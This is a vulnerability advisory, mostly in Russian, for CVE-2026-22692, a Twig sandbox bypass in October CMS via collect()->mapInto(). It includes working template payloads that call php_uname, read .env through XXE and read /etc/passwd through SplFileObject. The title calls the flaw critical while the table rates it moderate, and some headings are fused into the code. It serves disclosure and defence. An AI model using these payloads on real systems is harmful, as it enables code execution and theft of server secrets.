
CVE-2026-22692 - Critical Twig Sandbox Bypass via collect()->mapInto() allowing RCE/LFI/XXE in October CMS
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2026-22692 |
| Серьезность | Умеренная (CVSS:3.1 4.9) |
| Уведомление | GHSA-m5qg-jc75-4jp6 |
| Затронутый продукт | October CMS (<= 4.1.4, <= 3.7.12) |
| Тип уязвимости | Обход изолированной среды Twig -> RCE, LFI, XXE |
| Обнаружено | Lukasz Rybak |
Критическая уязвимость существует в изолированной среде Twig (Безопасный режим) October CMS, которая позволяет аутентифицированным пользователям с правами редактирования шаблонов обходить ограничения безопасности и выполнять произвольный PHP-код (RCE) или читать произвольные файлы (XXE/LFI) с сервера.
Коренная причина находится в October\Rain\Support\SafeCollection. Этот класс реализует интерфейс CallsAnyMethod, который сообщает System\Twig\SecurityPolicy, что для самого объекта коллекции необходимо обходить стандартный список разрешённых методов.
Хотя SafeCollection пытается фильтровать аргументы, чтобы предотвратить непосредственное выполнение вызываемых объектов, он не блокирует метод mapInto($class). Метод mapInto перебирает коллекцию и создаёт экземпляр предоставленного имени класса:
new $class($value, $key);
Это позволяет атакующему создать экземпляр любого класса, известного приложению.
System\Twig\SecurityPolicy явно разрешает метод __toString() для всех объектов. Создав экземпляр Psy\Readline\Hoa\Xcallable (который оборачивает вызываемый объект) и обернув его в GuzzleHttp\Psr7\FnStream (который вызывает пользовательскую функцию в своём методе __toString через свойство _fn___toString), атакующий может инициировать выполнение произвольных PHP-функций, не требующих аргументов (например, php_uname, phpinfo), просто выведя объект в Twig.
Класс SimpleXMLElement принимает флаг опций libxml в качестве второго аргумента конструктора. mapInto() передаёт ключ коллекции как второй аргумент конструктору. Создав коллекцию с ключом 2 (что соответствует LIBXML_NOENT), атакующий может включить подстановку внешних сущностей в SimpleXMLElement, что приводит к немедленному XXE и возможности читать системные файлы.
Более прямая уязвимость локального включения файлов (LFI) существует с использованием нативного PHP-класса SplFileObject. Создав экземпляр SplFileObject с путём к файлу и режимом чтения (передаваемыми через mapInto), атакующий получает итерируемый объект файла. Передача этого объекта в хелпер collect() вызывает немедленную итерацию (через iterator_to_array в ядре фреймворка), что обходит политику блокировки методов Sandbox. Это позволяет читать любой файл, к которому имеет доступ веб-сервер, без необходимости поддержки XML или определённых библиотек вендора.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Используйте ключ '2' (LIBXML_NOENT), чтобы включить подстановку сущностей в SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd через SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Удалённое выполнение кода (RCE), локальное включение файлов (LFI), внедрение внешних XML-сущностей (XXE).
/etc/passwd, конфигурацию базы данных, .env и т.д.) через несколько векторов (SimpleXMLElement или SplFileObject).Это затрагивает любую установку October CMS, где недоверенные или частично доверенные пользователи имеют доступ к редактору шаблонов CMS, что фактически позволяет им повысить свои привилегии до уровня системного администратора / рута.
Данный CVE был ответственно раскрыт в соответствии с практикой координированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных и защитных целей.